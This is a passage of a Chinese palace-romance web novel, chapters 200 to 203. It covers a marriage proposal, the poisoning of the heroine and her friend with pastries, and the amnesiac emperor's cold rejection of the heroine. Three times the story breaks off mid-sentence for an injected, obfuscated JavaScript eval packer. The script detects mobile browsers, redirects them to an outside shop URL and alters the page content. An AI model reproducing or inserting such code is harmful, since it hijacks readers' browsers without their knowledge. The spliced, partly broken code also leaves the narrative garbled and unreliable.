秋水淡淡点头,继续道:“我去过南昭,没有人比我了解南昭。” “不行,南昭太凶险了,公主既然说了不让你去,你就老实待在凤青轩。”花姑姑一口拒绝。 “花姑姑,你就让我去吧,我不想再这么人不人鬼不鬼的待在凤青轩了。”秋水说话之时,眸中尽是哀凉。 “那也不行,我虽然不知道你在外面到底经历了些什么,但是外面总归是不安全的,尤其是南昭,危险重重,我不能再让你去冒险。”花姑姑看着秋水,她不能再让秋水出事了。 第200章 不会纳妾 第二百章不会纳妾 “花姑姑,让我去吧。”秋水说得诚恳,一脸恳切的看向花姑姑。 他服下冰火草解毒之时,冰火两重天反复折磨着他,简直生不如死,可是他都忍了下来,他如今再不是以前那个秋水了,他一定可以的! 终于还是拗不过他,花姑姑点头道:“我答应你便是,你去了南昭一定要多多注意安全。” “好。”秋水点头,嘴角微勾,噙着淡淡的笑。 花姑姑眼眶一热,不舍得抓住秋水的手,欢凉立即劝道:“花姑姑莫要伤心了,秋水一定会平平安安回来的。” “好,平平安安,平平安安。”花姑姑不住的点头,然后看向欢凉道,“你一会是回宫还是回太师府?” “回太师府。” “我也一起去。”袭匀立即凑了上来。 “你去干什么?”欢凉不悦。 “我去看望外公呀,外公他老人家可喜欢我了呢。” “那是我外公,不是你外公,你不要乱叫好不好!” “师兄师妹,天生一对,你外公不就是我外公么。” “你再敢叫一句试试?”欢凉磨牙,上一次在太师府,他一口一个外公,比她都叫的亲热,真是不要脸! “好了好了,一见面就吵,真是对活宝,花姑姑也算是看着你们长大的,如今你们也老大不小了,打算什么时候将事情办了,还有这件事黎太师知道了么?” “花姑姑,你说什么呀!”欢凉跺了跺脚,跑了出去,她对袭匀根本没有任何想法,只是喜欢和他拌嘴罢了。 “还害羞了。”花姑姑脸上浮现了一抹笑意,她自然希望欢凉和袭匀能够亲上加亲,自从大安被灭,这凤青轩也好久没有发生什么喜事了。 经花姑姑这一说,就连秋水嘴角都挂了丝浅笑,看到他们能够幸福,他也觉得开心。 “待我和欢凉大婚时,还得劳烦花姑姑主持大事。”袭匀乐呵呵道。 花姑姑笑着点头,“还不赶紧追,人都跑远了。” 袭匀一路追到了太师府,结果在这里看到了一个他这辈子都不想看到的人——月清绝! 月清绝一袭青衫俊逸翩翩,一身儒雅不输他半分,轻摇羽扇。看到他进来,一双似笑非笑的凤眼朝他送来了两道秋波。 “你,你怎么在这里?”碍于黎正在场,袭匀将忍着没有破口大骂,这个闷骚月趁着他不在,竟然想拉拢外公!实在是太奸诈了! 月清绝颇为得意的挑了挑眉,你能来本公子为何不能来。 “袭匀也来了。”黎正看向袭匀和蔼的笑了笑,“清绝他过来是为欢凉外婆看诊的。” 清绝? 袭匀嘴角一抽,竟然变得如此亲切了? “要不要坐下来喝杯茶,这是我从宫里带来的贡茶。”月清绝说着给他倒了一杯。 袭匀十分不情愿的坐了下来,淡淡啜了口茶,的确不错,可是一想到这茶是那个闷骚月泡的,就有些不怎么对味了。 “清绝不仅棋艺卓绝,就连茶艺也是一流,袭匀你今日有口福了。”黎正笑得一脸慈祥,这两个人都是一表人才,到底选哪个做外孙女婿,他一时倒是犹豫不决了。 棋艺?茶艺? 他那日正是用这两手将黎太师哄得十分开心,不想今日全被闷骚月占去了风头! 看着黎太师眼中对月清绝的喜欢,袭匀悲催的发现了一个问题,他失宠了。 欢凉颇为头大的看着这两个男人在这里争抢外公,她略略皱眉道:“我去看看外婆。” “我也去。”月清绝立即起身道。 “去吧去吧。”黎正笑道。 “我也想去。” 黎正一把拉住了欲起身的袭匀,“袭匀就留下来陪着老夫下下棋吧。” 欢凉没好气的冲着跟上来的男人怒道:“你跟来做什么?” “看看你——外婆。”月清绝摇着羽扇,“外婆的病是长年累月的积压,想要一下子治治愈几乎不可能,若是好好调理,倒是可以多活几年。” 欢凉也懒得跟他纠结称呼的问题,加快了脚下的步子,踏入外婆的院子。 “小小姐,您终于来了,老夫人一直都在念叨着您呢。”她刚一进门,小丫鬟立即兴奋起来。 “外婆的身体如何了。” “喝了月公子开的药,精神了不少。” 欢凉微微点头,跟着小丫鬟进了内室,一股浓重的药味顿时扑面而来。 一位白发苍苍的老者靠在床榻上,看到欢凉进来,双眸顿时沁出欣喜,“欢儿,过来,过来。” “外婆。”欢凉坐到榻前。 老夫人握着欢凉的手,满眼慈爱,“我醒来就听说你进宫了。” “我进宫看了看公主。” 老夫人微微颔首,她虽然居于内室,但是对于羲和公主的事情多多少少也听说了一些,不禁叹道:“皇贵妃也是个可怜人。” 欢凉抿了抿嘴角,忙岔开了话题,“我听说月公子给外婆看了诊,这月公子向来有神医之名,他一定会将外婆的病治好的。” “老夫人的病郁结于心,如今心结慢慢解开,待养上一阵,估计就可以下床走动了。” 老夫人点头,看向袭月清绝的眸光多了分欣慰。 “我欢儿年纪也不小了,外婆看着这月公子就不错。” 欢凉的双颊顿时一烫,忙解释道:“外婆,我和月公子没什么的,您别误会。” 老夫人虽然身体不好,但是脑子清明,月清绝看向欢凉的眼神,她岂不看不出那是什么意思? 她拍了拍欢凉的手道:“外婆如今时日无多,唯一的心愿就是能够看到欢儿风风光光出嫁。” “老夫人,清绝一直都想娶欢凉为妻,待过段时间,就请人来太师府下聘,清绝答应老夫人此生绝不纳妾。”月清绝突然一撩衣袍跪了下来,他说话之时,脸色异常的坚定,双眸透着真挚。 绝不纳妾这四个字如一记重锤砸在了欢凉的心中,这是她从来都不敢想的,即使是公主那样玲珑剔透的人儿,都逃脱不了与人分享夫君的命运,更何况她呢,她以前只想着陪伴公主一生,从未想过嫁人。 “我……我不同意。”欢凉咬了咬唇,伸手拉起地上的月清绝,“你这是做什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634994|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “好了好了,我的欢儿害羞了,那这件事就以后再议。” 经过这一事,欢凉再也坐不住了,陪着老夫人说了会话,就出了院子,月清绝远远的跟了上来。 “欢凉。” 清朗的声音在她的身后响起,欢凉脚步一滞,便再次迈开了步子,她知道他要说什么。 月清绝咬牙追了上去,一把拉住了欢凉的手,“欢凉,你在躲避我。” 欢凉有些不敢看他的眼睛,轻垂着头,等待着他开口。 月清绝不禁叹了口气,她的脾性倒是和未央宫里的那位如出一辙。 “刚才我说的那些,皆是肺腑之言。”月清绝一把握住了她的双手,他紧张的手心里出了一层细汗,虽然他平常喜欢自诩情圣,向来是万花丛中过,片叶不沾身,可是他发誓这绝对是他第一次拉女子的手,她的手细腻柔软,令他舍不得松开。 “欢凉,看着我的眼睛,我喜欢你,欢凉,从清河的时候就已经喜欢了。”只是他那时他更多的是喜欢调戏她罢了。 他对她起了兴趣,可偏偏她却对他不理不睬,有时他将他逼急了,她直接骂他不要脸,而他却甘之如饴。 欢凉死死地咬着唇,心跳如雷,双颊烫的厉害,这是第一次让她乱了方寸,竟不知到底该怎么办,她从没有遇到过像现在这般无措的境地。 “嫁给我好么,我不会纳妾,就像我爹对我娘一样,一生一世一双人。” 他的眸光深邃,黑瞳如潭,一点点让她沉陷其中。 看着近在咫尺的樱唇,月清绝喉结暗滚,蓦然低头,含丨住那抹柔软。 “啪——” “你们在干什么?” 随着一声清脆的巴掌声,是袭匀的暴怒。 欢凉双颊红了个彻底,看着月清绝白净脸上的鲜红指印,咬了咬唇,一把推开了他,跌跌撞撞的逃开了。 月清绝眉头微蹙,是他吓到她了么? “你知不知道你在干什么!”袭匀眸色血红,狠狠地握起双拳,身形一闪,冲到月清绝身前,直接向他砸了一拳。 他守了欢凉十几年,都从未动过欢凉一下,今日他看到了什么,是他在亲她! 他怎么能忍? 月清绝擦掉嘴角的血渍,看向袭匀道:“本公子又没做错什么,当初说的是公平竞争,怎么,如今你怕输了?” “怕?”袭匀低低一笑,“我告诉你,欢凉她只能是我的!” 袭匀扔下这一句,朝欢凉的方向追了上去,他的背影分外萧寂。 月清绝的眸光深了几分,他们谁也不知道欢凉心里的想法,袭匀怎么就能肯定她心里的那个人不是他呢? 欢凉的心乱成了一团,刚才被月清绝吻下的那一幕不断地出现在她的脑海中,她情不自禁的覆上了她的唇瓣,似乎上面还残留了他的气息。 她甚至想都没想就直接掴了他一巴掌,公主常说,占女子便宜的登徒子该打,她没有做错! 她甚至忘了跟外公道别,便出了太师府,还是外婆身边的大丫鬟追出来,将做好的点心塞给了她,她这才匆匆一个人赶回了宫中。 第201章 胭脂泣泪 第二百零一章胭脂泣泪 江向晴午休之后,便迈着娉婷的步子踏进了未央宫,如今安文夕不仅陷入流言蜚语之中,如今就连皇上也不喜欢她。眼下这么好的机会,她若是不来给安文夕添添堵岂不是可惜?没有比落井下石丨更令**快人心的事情了! 她刚进了未央宫,雪竹就上前通报道:“听说皇贵妃娘娘身子不适,我家娘娘特意前来探望。” 陌姑姑不动声色的皱了眉,而月无双就没有陌姑姑那么好的耐性了。 她直接冲着江向晴冷哼,“江向晴,你少在这里玩那些猫哭耗子的把戏,让人恶心。” “你,月无双你好大的胆子!” 月无双可不管这么多,不耐烦的瞥了江向晴一眼,“未央宫不欢迎你,不送!” “月无双,你算哪颗葱,这未央宫何时轮到你做主了?”江向晴不屑勾唇,对于月无双这咋咋呼呼的性子,她还不放在心上。 安文夕睡眠极浅,听到外面的声音,略略皱眉,“无双,无双……” 月无双听到安文夕的喊声,立即进了内殿,“夕姐姐,你醒了,怎么不多睡一会?” “谁在外面?” “是那江向晴,是不是她将夕姐姐吵醒了,我这就将她打发出去。” “不必了,让她进来吧。”安文夕坐起了身子。 “夕姐姐……” “无碍,睡多了头沉,你让她在殿内候着,我换身衣服就出去。” 安文夕这一换衣服就整整换了半个时辰,江向晴的脸色越来越黑,她面前的茶都添了三次,还不见安文夕出来,她差点将手中的丝帕扯烂。 没想到她还没有见到安文夕的人,就先被她来了个下马威! 就在她终于忍不住要回晴阳殿之时,安文夕这才步履纤纤的走了出来。 “让晴妃久等了。”安文夕淡淡瞥了她一眼,华贵优雅的落了坐。 江向晴恨恨咬牙,外面的传言是她亲自派人做的,明明是那样的不堪,可面前的女人仿佛丝毫没有受到影响。 “皇贵妃娘娘这身衣服倒是素净,衬得皇贵妃身姿若柳,想必是选了好久。”江向晴冷哼一声,“不过,我们穿着打扮也是给皇上看的,若是一旦招了皇上厌烦,即便服饰再过华美,皇上也是不会瞧一眼的。” 安文夕不在意江向晴含讥带讽的话,今天这江向晴的来意她很清楚,无非是来刺激她一番罢了。而且,又被她凉了这么久,自然说话更加带刺了。 但是她并不想和她多费口舌。 “晴妃近日来所为何事?” “臣妾过来就是想看看娘娘,毕竟不是每个女人在遭受了如此流言蜚语还能如此淡定的。” “劳烦晴妃挂念了,既然你也说了那些都是流言蜚语,本宫又有什么可在意的呢。” “皇贵妃娘娘真是好心态,令臣妾自愧不如。”江向晴说着从袖子里掏出一张单子来递给安文夕。 “因为娘娘身怀有孕,皇上便将此次立后的事宜交由我来打理,这是臣妾列好的单子,请皇贵妃娘娘过目,看看还有什么遗漏的没有。” 安文夕淡淡扫了眼单子并没有接,“既然皇上将此事交由你打理,便是相信你的能力,你自己做主便好。” 说话间,欢凉从外面走了进来,一副魂不附体的样子,看了江向晴一眼,微微一愣,然后立在了安文夕身后。 江向晴微微皱眉,这未央宫的人都是这般没有规矩,见人也不知道行礼么? “晴妃若是没事可以退下了,本宫有些累了。” 看着安文夕一副高高在上的姿态,江向晴心中一噎,这个女人如今什么都没有了,为何还敢目中无人? “如此,臣妾就不打扰皇贵妃娘娘了。”江向晴浅浅起身,经过安文夕身边的时候,眉眼涌出一抹狠戾。 “安文夕,你也不要太得意,一旦我姐姐入主中宫,你以为这宫里还有你的容身之地?” “这个就不劳你操心了。”安文夕冷冷道。 “哼,我倒要看看我们谁会笑到最后!” “本宫等着!” “残花败柳!”江向晴恶毒的眸子一点点移到安文夕的小腹之处,双眸盛满了讥讽。 “啊!”下一瞬,江向晴的膝盖蓦地一疼,她的身子顿时一个踉跄,半跪在安文夕脚下。 安文夕起身睥着她,“祸从口出!” “你——”江向晴的膝盖火辣辣的疼,她此时根本无法起身,只得恨恨的咬着牙。 “欢凉,将她扔出去!” 欢凉仍是一副呆滞的模样,安文夕略略皱眉,而这会子江向晴已经捂着膝盖狼狈的出了未央宫。 “怎么了?”今日的欢凉太过奇怪,上午从未央宫走的时候不是还好好的么,怎么现在一副魂不守舍的样子。 “没事,公主。”欢凉此时很想将刚才的事情说出来,可是一想到月清绝那含情的眉眼,话到了嘴边就说不出来了。而且,公主现在的烦心事太多,她又何必拿这件事烦她。 “这是从太师府带来的点心,是外婆特意交代送给公主的。” “有好吃的,怎么不叫我?”月无双看到欢凉带来的点心,双眼发亮,她脖子里的铜铃随着她的走动响的欢快。 月无双毫不客气的拈了一点津津有味的吃了起来,然后随手递给安文夕一块。 原来是桂花糕,安文夕看着手中的点心愣神。如今父皇带着母后去了枫月谷,在她离开夏宫之前只怕不能复活母后了。 “我向外婆提起过公主爱吃桂花糕,外婆就特意让浅荷做的。” 安文夕捧着桂花糕送入口中,细腻柔滑,入口即化,这是她吃过最好吃的桂花糕,但是却不是她幼时的味道。 “不好!”这桂花糕有毒! 月无双一把扔掉了手中的桂花糕,两眼一翻,倒在了地上,她脖子的铜铃发出一声急促的声响。 安文夕顿时心中一惊,手中刚刚咬了两口的桂花糕骨碌碌滚到了地上。 怎么会这样?欢凉不可置信的看着倒地不起的月无双,然后又打量了一眼 半晌,安文夕也感到一阵腹痛,忙扶着桌角坐了下来。 “公主,公主……” “快传月公子。”安文夕咬了咬牙,只怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639777|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月清绝来晚了,她和无双今日就要命丧黄泉了。 “月清绝,月清绝……”欢凉急得大喊起来,忙冲出了内殿。 “怎么了?”陌姑姑看着行色匆匆的欢凉问道。 “陌姑姑,公主和无双**了,你先去看着,我去找月清绝。” 陌姑姑闻言,双眸蓦地一凛,转身进了内室,她扫了眼安文夕和月无双,最后将视线放在了桂花糕上。 “陌姑姑。” 陌姑姑收了眸光,拉住安文夕的手,探了探脉搏,眸光一点点沉了下去,“你先别说话。”她飞快的封住了安文夕的穴道。 这毒蔓延极快,转瞬的功夫已经快要顺着血液蔓延到五脏六腑了。 “陌姑姑,你快看看无双,她比我吃的多。” 陌姑姑扶着月无双靠在一旁,探了她的脉息之后,双眸微敛。 “这毒已经进入到了她的肺腑,就算是月清绝来了,恐怕也难救。”陌姑姑说着也封了她的穴道。 此时月清绝正伫立在未央宫门口,一时犹豫不决,欢凉现在一定不想见他,可是他还不明白她到底是个怎样的态度。 “月清绝……”欢凉匆忙的赶了出来,看到一脸犹豫的月清绝,也没有多想,一把拉住了他,“快跟我来,公主和无双**了!” “**?什么时候的事?” “就刚刚。” 月清绝进了内殿,安文夕和月无双已经被陌姑姑安置在了床榻上。 此时,安文夕已经陷入昏迷,而月无双的脸色青白一片,月清绝的心顿时一沉。 他指尖微颤覆上月无双的脉搏,他脸上的血色顿时全部抽离。 “怎么会这样,怎么会这样?”他喃喃道。 这是南昭的胭脂泪,怎么会出现在未央宫? 月清绝立即取出护心丸给月无双服下,然后他又给安文夕把了把脉,索性,她的性命无碍。 “月公子,怎么样?”陌姑姑紧蹙着眉。 “陌姑姑可听过胭脂泪?” “不曾。” “这胭脂泪来自南昭,剧毒无比,但凡中了此毒之人,绝活不过七日,**之人眉心会出现一颗胭脂色的泪痣,故而叫做胭脂泪而且随着毒性的蔓延,那泪痣颜色会越来越艳,待胭脂泣泪,便是死亡之际。” 陌姑姑的眸色一点点沉了下去,“此毒可有解?” “有解。” 陌姑姑和欢凉闻言顿时松了口气,但是月清绝下一句话却将她们彻底打入冰窖。 “但是解药来自南昭,由七种药物炼制而成,且每一种都极为难寻,别说只有七日的时间,就是有七个月的时间只怕连其中的一种也难以找到!” “看来眼下只有找到下毒之人拿到解药了!”陌姑姑沉声道。 月清绝又给安文夕喂了粒护心丸,“这护心丸可暂时护住她们的心脉,安文夕**不深,想必一会就会醒来。” “只是,无双……”只有服了解药才会醒来,月清绝落在月无双脸上的眸光顿时一黯。 “你别担心,她们一定会没事的,一定会找到解药的。”欢凉劝道。 第202章 起了杀意 第二百零二章起了杀意 月清绝紧锁着眉,略略点头,然后将眸光掠向一旁的桂花糕,“她们是吃了这个才会**?” “是。”欢凉一脸自责,狠狠地攥着衣角,是她害了公主和无双,“这桂花糕是我从太师府带来的,我没有想到这里面怎么会……” “这事不怪你。” “刚才江向晴过来了,是不是与她有关?” 陌姑姑看了眼欢凉道:“不会,那江向晴还没有这个能耐。” “想必这是在宫外之时做的手脚。” “你平时做事也挺稳妥的,怎么会让人在你的眼皮子底下下了毒?”陌姑姑皱眉看向欢凉道。 欢凉想起她那会神色慌忙,逃离一般的出了太师府,然后浅荷追出来将点心交给了她,她根本没有多想就赶来了未央宫。 一定是那个时候被人下了毒! 可是她那会因为月清绝的那个吻被扰得的心乱如麻,根本就不曾注意有何异常。 她颇有些尴尬的瞧了眼月清绝,双眸中带了几分嗔怪。 “这么说来,这毒就是出自宫外的人之手了?”她咬唇。 “也不一定。”陌姑姑眸色深深,“也许这就是宫中之人做的,相对于宫内,宫外更容易下手!” “我去找北宫喆,这里就交给陌姑姑了。”月清绝说着看了欢凉一眼,示意她不要太过自责。 琼华殿,北宫喆倒是难得没有批奏折,手里握着一本书,遮住了半边脸,看不出他是在看书,还是在闭目养神。 月清绝脚下生风,几步之间便已经走到了北宫喆身边,他一把夺下北宫喆手中的书。 “跟我走!” 北宫喆这才睁开了眼睛,看着月清绝一脸凝重,开口道:“出了何事?” “你的女人和无双都**了!” “**?是谁?” “安文夕,安文夕不记得了么,就是那唯一一个怀了你的娃的女人!”月清绝急得有些跳脚。 安文夕,提到这个字眼,他的的心蓦地一跳。 随即他不耐的皱了皱眉,这个女人还真是不让人省心! 看着他眼神的冷漠,月清绝一把拉起他,“就算你不管你的女人,我也绝不能让无双出事。” 在路上,月清绝已经将安文夕和月无双**的经过告诉了北宫喆,北宫喆的眉头深深锁了起来。 “反正,我觉得这就是你的那些女人下的手。”月清绝一口咬定。 “这件事交给朕。” “你有把握么,这可只有七天的时间。” “你不信朕?” “不是不信,是你如今对你的女人不上心,我……” “这件事先**息!” 北宫喆狠戾的双眸扫了眼月清绝,撩开步子朝未央宫的方向走去。 刚进了未央宫,风起帘动,一墙的蔷薇在微风下漾开了美丽的花浪。这个地方,竟然令他莫名的神色一松,这种奇怪的感觉久久的萦绕在他的心中。 进了内殿,他清冷的眉眼越过陌姑姑,停留在安文夕略显苍白的脸庞上。 这个讨厌的女人! 北宫喆此时一点也不想看到这张脸,但是脚下如生了根一般,再也移不开半步。 “你在这里,我去外面看看。”陌姑姑看了北宫喆一眼,出了内殿。 此时,殿内只剩下了北宫喆和安文夕二人,北宫喆看着那张素白的小脸,脚下的步子不受控制的走了过去。 她静静地躺在这里的恬静模样比她在他耳边聒噪时好看许多,他的眸光蓦地落到了她紧抿的薄唇上,脑海中蓦地浮现了那日的情景,那柔软的触感,在他的脑海中久久挥之不去。 该死,这个女人竟然强吻他! 北宫喆的手狠狠紧握,他以前怎么会喜欢这样的女人,丝毫不知羞耻! 他的双眸瞥到安文夕轻颤的睫毛,立即掠出了寝殿。 安文夕睁开了眼睛,眼底瞥到了一抹匆匆而逝的明黄。 守在外面的欢凉看到北宫喆脚下步子的急切,黛眉轻挽,难道出了什么事么? 她走进寝殿就看到正欲起身的安文夕,惊喜道:“公主,你醒了。” “刚才,谁在这里?” 欢凉犹豫了一下,“是皇上。” 他来了?安文夕眸光淡淡,他现在如此厌烦她,想必是来看无双的吧。 “公主,是欢凉害了你。”欢凉立即跪在了安文夕脚下。 “那毒来自桂花糕,是欢凉大意了,才让别人有机可乘。” “毒?我倒没觉得有什么不适。” “月清绝说这毒是来自南昭的胭脂泪,若是没有解药,七日之后……” “你先起来。”安文夕拉着欢凉起身。 她微微蹙了眉,怎么这些刁钻的毒皆是来自南昭?南昭向来不和中原有什么交流,而如今她的身边却频频出现南昭奇毒,难道这天下要发生变化了么? “皇上说这件事由他来处理。” 他又要怎样处理?这件事根本没有半点线索,这宫里虽然人人都巴不得她死,可是真正有嫌疑的也就那几个而已。突然,她的脑海里闪过一个人影来,这次会是她么? 若真的是她,这次她绝不会轻饶了她! “扶我起来。” “公主,如今天都要黑了,你要去哪?”欢凉搀起安文夕。 “去找他!” 北宫喆在偏殿看了月无双一眼,便出了未央宫。 他在路上已经将脑海中有嫌疑的几个人慢慢排除,最后锁定了那几个人,他锐利的鹰眸在黑暗中更加凌冽。 他叫来了左言,吩咐了两句,便回了琼华殿。 还未踏入琼华殿,他远远的便看见了一抹纤细的身影,走进了才认出了来人。看见对面的女子娉婷的朝他走来,他的眉头顿时拧了起来。 他看也未看她一眼,便大步跨进了琼华殿。 安芊柔被忽略的彻底,脸色顿时一僵,半晌才重新挤出一抹笑意,刚想上前,便被拦在了外面。 安芊柔脸色一冷,“大胆,竟然拦本宫。” 拦她的小太监丝毫不为所动,安芊柔气愤咬牙,冲着身后的两个大太监使了个眼色,那人这才从怀中掏出来一枚令牌。 “这是今晚太后娘娘赏给皇上的美人,你们还不退下!” “皇上今晚没有召幸任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639778|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫔妃。”张海忙捧着拂尘走了过来。 刚才的那位大太监不屑的瞧了张海一眼道:“张海,与太后娘娘作对可是没什么好下场!” 张海身子一颤,可是仍然拦着安芊柔,丝毫不让。 “不识好歹!”那人正欲出手,里面传来了一道冰冷的声音。 “让她进来!” 安芊柔心中顿时一喜,脸上也浮现了两抹红云。 那位大太监意味深长的对安芊柔道:“今晚柔美人可要好好伺候皇上,明日一早,太后娘娘还等着你敬茶呢。” “是,劳烦公公告诉太后娘娘,嫔妾定然不会让她失望。” 安芊柔带着满脸的欣喜进了内殿,边走边褪去了身上唯一一件避体的披风,露出里面薄如蝉翼的纱衣。 北宫喆眼底的余光扫了眼含羞带怯的安芊柔,眸光轻垂,掩下眼底的极度厌恶。 他记得,这个安芊柔是那个女人的姐姐,果然是姐妹,一样的不知廉耻! “皇上……”安芊柔走到北宫喆身边,垂下了头,不敢去看他。 “过来,给朕宽衣!”北宫喆伸开了双臂。 安芊柔一愣,难以置信的看向北宫喆,他竟然没有拒绝! “不是说了要伺候朕么,还愣着做什么?” “是,皇上。”安芊柔羞怯的伸出手覆上北宫喆宽厚的肩膀,缓缓褪去北宫喆身上的龙袍。 “皇贵妃娘娘,您不能进去,不能进去……”琼华殿门口响起了张海急切地声音。 安文夕只当是北宫喆对他们下了命令要拦着她,也没有在意,直接闯进了内殿。 待看到正为北宫喆宽衣的安芊柔和仅着了一件明黄里衣的北宫喆时,顿时傻在了原地。 “啊,皇上……”安芊柔惊呼着躲在了北宫喆身后,紧紧的抱着北宫喆的双臂,将整个儿身子贴在了他的身上。 北宫喆双拳一握,那几乎挂在他身上的安芊柔立即弹出了几步。 安文夕这才看清了安芊柔身上那根本不能称之为衣服的衣服。薄如蝉翼的纱衣几近透明,将她玲珑的身材勾勒的十分完美,一对修长的玉腿全部露在外面,胸前的柔软呼之欲出,这简直比赤裸着身子还具有致命的诱惑。 别说北宫喆一个男人,就是她看了也觉得脸红心跳。 欢凉何时见过这样的场面,忙将头别了过去,低声唾道:“不要脸。”凤青轩还从没有哪个姑娘敢穿的这般暴露。 接下来会发生什么,就是三岁小孩也能猜的出来。 安文夕顿时觉得自己简直是一个笑话,他说他会处理这件事,她便信了,所以才急不可待的想将心里的计策说给他听,希望能够帮他早点找到解药。 她不想死,就是为了肚子里的孩子也不能死,也更不想让无双死。 可是,她错了,现在的他失忆了,根本不会关心她的死活。 要不然他也不会在她命悬一线的时候在这里和她的亲姐姐欢好! 看到安芊柔眼底的讥讽,安文夕咬紧了下唇,眼底起了杀意。 她蓦地掠到安芊柔身侧,狠狠地甩上去了一巴掌,几乎是用尽了所有的力气一般,整个人也跟着踉跄了两步。 第203章 好,我走 第二百零三章好,我走 “啪——” 一声清脆的声音顿时响彻了整个大殿,安芊柔脸上立即高高的肿了起来。 安文夕身子轻轻地颤抖起来,怔怔的看着自己的手掌,刚才是她冲动了! 可是,她无法不冲动! “皇上……”安芊柔捂着脸,眼泪夺眶而下,可怜楚楚的看向北宫喆。 “你闹够了没有,给朕滚出去!”北宫喆隐忍着怒气厉声道。 “好,我走!”安文夕几乎要将下唇咬破,迎着他冰冷的眉眼一字一句道,然后转身出了琼华殿,脚步决绝而凌乱,她仅剩的自尊不允许她再在这里待上一刻! 他失忆了,她可以理解他对她的冷淡,对她的不耐烦,可是这并不代表她不会心痛。也不代表她可以忍受他和别的女人厮丨缠在一起,更不能代表她可以忍受他为了护着别的女人而让她滚出去! 看着她决绝的步子和狼狈的身形,北宫喆的心被狠狠地刺了一下,涩涩的疼。 那一抹素白踉踉跄跄的掠出了他的视线,而他的心仿佛也被牵动了一般。 安芊柔虽然脸上火辣辣的疼,但是心里却涌出巨大的喜悦,双眸泛着淡淡的讥讽,她安文夕也有今天,她一定要将她踩在脚下,一定! 她艰难的从地上站了起来,梨花带泪的小脸更添了几分楚楚之姿。 “皇上……”她颤着手伸向了北宫喆的腰带,见他没有拒绝,她便大着胆子给他解起腰带。 北宫喆心中莫名的烦闷,看着埋在他的腰间认真解腰带的女人,心中的烦闷更盛,广袖一扫,安芊柔整个人顿时被抛出了几步远。 “啊!”安芊柔怎么也想不到刚才将她护在身后的男人怎么会突然翻脸。 她不顾身上的疼痛,向北宫喆匍匐了两步。 “皇上……” “张海!”北宫喆扫了眼地上的女人对殿外厉声道。 “奴才在。” “将她带走,就告诉太后,她送来的人笨手笨脚,扫了朕的兴!” “皇上……”安芊柔不甘心的朝北宫喆伸出了手,扫他的兴的人是安文夕不是她安芊柔啊! 为什么每一次她来琼华殿之时,那安文夕都要来破坏呢! 安芊柔被人拖走之时,双眸尽是阴毒! 安文夕出了琼华殿一路疾驰,直到穿过御花园这才长长的吐了口气,而鼻头却酸的厉害。 “公主,你别伤心,皇上他失忆了……” 安文夕蓦地停住了脚步,回头看向欢凉,喃喃道:“你也觉得我这是在无理取闹?” “没有公主,没有……”欢凉看着安文夕凄凉的神色,一时竟不知道该如何劝她。 “欢凉,我不想呆在这里了。”安文夕说话之时,浅浅的吸了下鼻子,“若是能够解得了毒,我们去南昭吧。” 她以为自己可以,可是事实上她并没有那么坚强大度,她无法容忍他和别的女人…… 她原本还想看一看他穿上大红喜服的样子,可是现在她却不想了,他不想看见他穿着大红的喜服和别的女人相携而立。明明知道那样痛苦的是自己,为何还有折磨自己呢。 她的九哥哥终究还是娶了别人,安文夕苦涩的笑了笑,双手覆上自己的小腹,如今这里面的小东西,是唯一令她欣慰的了。 “公主,我们回去吧。”欢凉将安文夕的苦涩全部收入眼底,她的心被狠狠地揪了一下。 “好。”安文夕刚刚迈了一步,小腹处传来一阵微痛,眼前一黑,顿时失去了知觉。 “公主……”欢凉顿时大惊失色,立即去扶安文夕。 比她更快的是一道白色的身影,一把将安文夕抱住。 “陌姑姑!”欢凉惊道。 “我先带她回去,你去叫月公子来。” 不远处,月清绝看着前方的男人,上前一步,顺着他的目光望去,“你就算不记得她,心中还是会有牵挂的。” 不然的话,他为何又会出现在这里? 北宫喆的眸光清冷,看不出半分情绪,扫了月清绝一眼,看也未看前方的那道身影,转身回了琼华殿。 他也想不明白,为何他会急冲冲的赶出来,他讨厌这种身体仿佛不受控制的感觉。 北宫喆刚走,月清绝便看到一路小跑而来的欢凉。 “月清绝,快跟我来,公主晕倒了!”欢凉早就将下午的事情抛到了脑后,也没有顾忌太多,一把拉住了月清绝的手。 月清绝听着她对他的称呼,不动声色的勾了勾唇。 月清绝给安文夕把了把脉,脸色有些凝重,看着欢凉担忧的神色道:“她体内的胭脂泪倒是无碍的,暂时要不了命,她不过是动了胎气罢了,我给她开副药。” 安文夕就连在晕迷中,眉头都是紧锁的,陌姑姑的眸光多了丝怜惜。 “她晚上睡不安稳,每晚都会梦魇,月公子可有什么办法么?” 